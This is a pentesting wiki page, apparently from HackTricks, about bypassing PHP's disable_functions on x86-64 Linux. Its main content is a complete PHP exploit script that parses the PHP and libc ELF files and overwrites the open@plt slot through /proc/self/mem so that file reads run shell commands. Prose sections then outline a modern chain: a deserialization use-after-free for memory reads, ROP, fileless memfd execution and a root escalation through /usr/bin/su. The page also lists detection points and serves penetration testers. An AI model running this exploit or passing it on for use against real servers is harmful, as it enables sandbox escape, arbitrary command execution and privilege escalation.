disable-functions-bypass-via-mem.md (10553B)
1 --- 2 title: "disablefunctions Bypass via /proc/self/mem" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # `disable_functions` Bypass via `/proc/self/mem` 14 15 This historical x86-64 Linux technique parses the PHP executable and its loaded libc, finds the `open` relocation, and rewrites that process-memory slot with the address of `system`. A later call such as `readfile('/usr/bin/id')` then reaches `system('/usr/bin/id')` instead of `open`. The original exploit and its assumptions are preserved below.<sup>[[1]](#references)</sup> 16 17 The technique is highly build-dependent. It expects Linux 2.6.39 or later (the upstream README's `2.98` is a typo), a writable `/proc/self/mem`, readable `/proc/self/maps`, an x86-64 ELF layout compatible with this parser, a suitable non-PIE/relocation address, compatible libc symbol names, and no effective `open_basedir` restriction on the required paths. PHP-CGI/PHP-FPM was the intended target; modern kernels, distributions, hardening, PIE/full RELRO, containers, SELinux/AppArmor, or a different SAPI can break it.<sup>[[1]](#references)[[2]](#references)</sup> 18 19 ```php 20 <?php 21 /* 22 1. Linux kernel >= 2.6.39 (the original README says 2.98) 23 2. PHP-CGI or PHP-FPM; the original author notes that modern mod_php setups 24 may not retain the required /proc/self/mem access 25 3. Written for x86-64; offsets and ELF parsing need changes for 32-bit 26 4. open_basedir=Off, or access to the required /lib and /proc paths 27 */ 28 /* 29 $libc_ver: 30 beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc 31 7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so 32 $open_php: 33 beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$' 34 0000000000e94998 R_X86_64_JUMP_SLOT open 35 $system_offset and $open_offset: 36 beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@" 37 1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5 38 1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5 39 */ 40 function packlli($value) { 41 $higher = ($value & 0xffffffff00000000) >> 32; 42 $lower = $value & 0x00000000ffffffff; 43 return pack('V2', $lower, $higher); 44 } 45 function unp($value) { 46 return hexdec(bin2hex(strrev($value))); 47 } 48 function parseelf($bin_ver, $rela = false) { 49 $bin = file_get_contents($bin_ver); 50 $e_shoff = unp(substr($bin, 0x28, 8)); 51 $e_shentsize = unp(substr($bin, 0x3a, 2)); 52 $e_shnum = unp(substr($bin, 0x3c, 2)); 53 $e_shstrndx = unp(substr($bin, 0x3e, 2)); 54 for($i = 0; $i < $e_shnum; $i += 1) { 55 $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); 56 if($sh_type == 11) { // SHT_DYNSYM 57 $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); 58 $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); 59 $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); 60 } 61 elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB 62 $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); 63 $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); 64 } 65 elseif($rela && $sh_type == 4) { // SHT_RELA 66 $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); 67 $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); 68 $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); 69 } 70 } 71 if($rela) { 72 for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { 73 $r_offset = unp(substr($bin, $i, 8)); 74 $r_info = unp(substr($bin, $i + 8, 8)) >> 32; 75 $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); 76 $name = ''; 77 $j = $strtab_off + $name_off - 1; 78 while($bin[++$j] != "\0") { 79 $name .= $bin[$j]; 80 } 81 if($name == 'open') { 82 return $r_offset; 83 } 84 } 85 } 86 else { 87 for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { 88 $name_off = unp(substr($bin, $i, 4)); 89 $name = ''; 90 $j = $strtab_off + $name_off - 1; 91 while($bin[++$j] != "\0") { 92 $name .= $bin[$j]; 93 } 94 if($name == '__libc_system') { 95 $system_offset = unp(substr($bin, $i + 8, 8)); 96 } 97 if($name == '__open') { 98 $open_offset = unp(substr($bin, $i + 8, 8)); 99 } 100 } 101 return array($system_offset, $open_offset); 102 } 103 } 104 echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n"; 105 if(strpos(php_uname('a'), 'x86_64') === false) { 106 echo "[-] This exploit is for x64 Linux. Exiting\n"; 107 exit; 108 } 109 if(version_compare(preg_replace('/-.*/', '', php_uname('r')), '2.6.39', '<')) { 110 echo "[-] Kernel predates 2.6.39. This technique will not work\n"; 111 } 112 echo "[*] Trying to get open@plt offset in PHP binary\n"; 113 $open_php = parseelf('/proc/self/exe', true); 114 if($open_php == 0) { 115 echo "[-] Failed. Exiting\n"; 116 exit; 117 } 118 echo '[+] Offset is 0x' . dechex($open_php) . "\n"; 119 $maps = file_get_contents('/proc/self/maps'); 120 preg_match('#\s+(/.+libc\-.+)#', $maps, $r); 121 echo "[*] Libc location: $r[1]\n"; 122 echo "[*] Trying to get open and system symbols from Libc\n"; 123 list($system_offset, $open_offset) = parseelf($r[1]); 124 if($system_offset == 0 or $open_offset == 0) { 125 echo "[-] Failed. Exiting\n"; 126 exit; 127 } 128 echo "[+] Got them. Seeking for address in memory\n"; 129 $mem = fopen('/proc/self/mem', 'rb'); 130 fseek($mem, $open_php); 131 $open_addr = unp(fread($mem, 8)); 132 echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n"; 133 $libc_start = $open_addr - $open_offset; 134 $system_addr = $libc_start + $system_offset; 135 echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n"; 136 echo "[*] Rewriting open@plt address\n"; 137 $mem = fopen('/proc/self/mem', 'wb'); 138 fseek($mem, $open_php); 139 if(fwrite($mem, packlli($system_addr))) { 140 echo "[+] Address written. Executing cmd\n"; 141 readfile('/usr/bin/id'); 142 exit; 143 } 144 echo "[-] Write failed. Exiting\n"; 145 ``` 146 147 ## Modern variant: engine-memory bug to native code 148 149 A stronger pattern is to first turn constrained PHP execution into an arbitrary-read primitive inside the PHP process itself. In the wp2root chain this is done with a legacy `Serializable` recursion UAF: inner and outer `unserialize()` operations share one reference table, a property-table resize frees buckets still referenced by the outer parser, and sprayed strings turn those stale references into attacker-controlled fake `zval` data. Reinterpreting the forged `zval` as a string yields arbitrary process-memory reads. For application-level gadget chains, see [PHP - Deserialization + Autoload Classes](/hacktricks/pentesting-web/deserialization/php-deserialization-autoload-classes).<sup>[[3]](#references)[[4]](#references)</sup> 150 151 Once arbitrary read exists, `disable_functions` stops being a boundary: the PHP-visible `system()` name may be gone, but the native handler is still resident in the worker and can be recovered from live memory and called directly. This is useful after any bug that grants PHP code execution, not only WordPress.<sup>[[3]](#references)[[4]](#references)</sup> 152 153 ## Self-resolving ROP from live PHP 154 155 Instead of relying on fixed offsets, leak any code pointer inside the loaded PHP image, walk backwards to the ELF base, parse the in-memory image, and resolve gadgets/functions dynamically. In the published chain, fake HashTable or array-destruction metadata is used as the control-transfer point: when PHP frees the forged array, cleanup pivots the stack to attacker data, runs a ROP chain, marks a payload buffer executable, and jumps into a PIC launcher. This adapts to ASLR and differing PHP builds. For generic ROP mechanics, see [ROP & JOP](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/binary-exploitation/rop-return-oriented-programing/README.md).<sup>[[3]](#references)[[4]](#references)</sup> 156 157 ## Fileless helper handoff 158 159 A practical post-exploitation follow-on is to keep the native payload fileless: `memfd_create("php-helper", 0)` -> `dup2(fd, 197)` -> write helper ELF -> `execveat(197, "", argv, NULL, AT_EMPTY_PATH)`. Leaving the memfd without close-on-exec preserves fd `197` across later `execve` transitions, so both the unprivileged launcher and any later privileged stub can re-enter the same in-memory helper without writing an executable to disk.<sup>[[3]](#references)[[4]](#references)</sup> 160 161 ## Root follow-on and hunting 162 163 After native execution, any local privilege escalation can be chained in. One public path keeps the helper in the memfd and uses [Copy Fail](/hacktricks/linux-hardening/main-system-information/kernel-lpe-cves/copy-fail-af-alg-splice-page-cache-overwrite-cve-2026-31431) to replace the page-cached image of `/usr/bin/su`; executing `su` then runs attacker code as root while the on-disk binary remains unchanged. Useful detection points are web/PHP workers opening `/proc/self/mem`, `memfd_create`, `dup2` pinning a high FD such as `197`, `execveat(..., AT_EMPTY_PATH)`, and unexpected execution of setuid binaries from a web worker context.<sup>[[3]](#references)[[4]](#references)</sup> 164 165 ## References 166 167 - [1] [beched/php_disable_functions_bypass - procfs-based PHP sandbox bypass](https://github.com/beched/php_disable_functions_bypass) 168 - [2] [Linux kernel documentation - `/proc` process files and access controls](https://www.kernel.org/doc/html/latest/filesystems/proc.html) 169 - [3] [Calif: The WordPress Chain Massacre: From Constrained PHP Execution to Linux Root](https://blog.calif.io/p/the-wordpress-chain-massacre) 170 - [4] [Calif wp2root full-chain write-up](https://github.com/califio/publications/blob/main/MADBugs/wp2root/writeups/FULL_CHAIN_WRITEUP.md)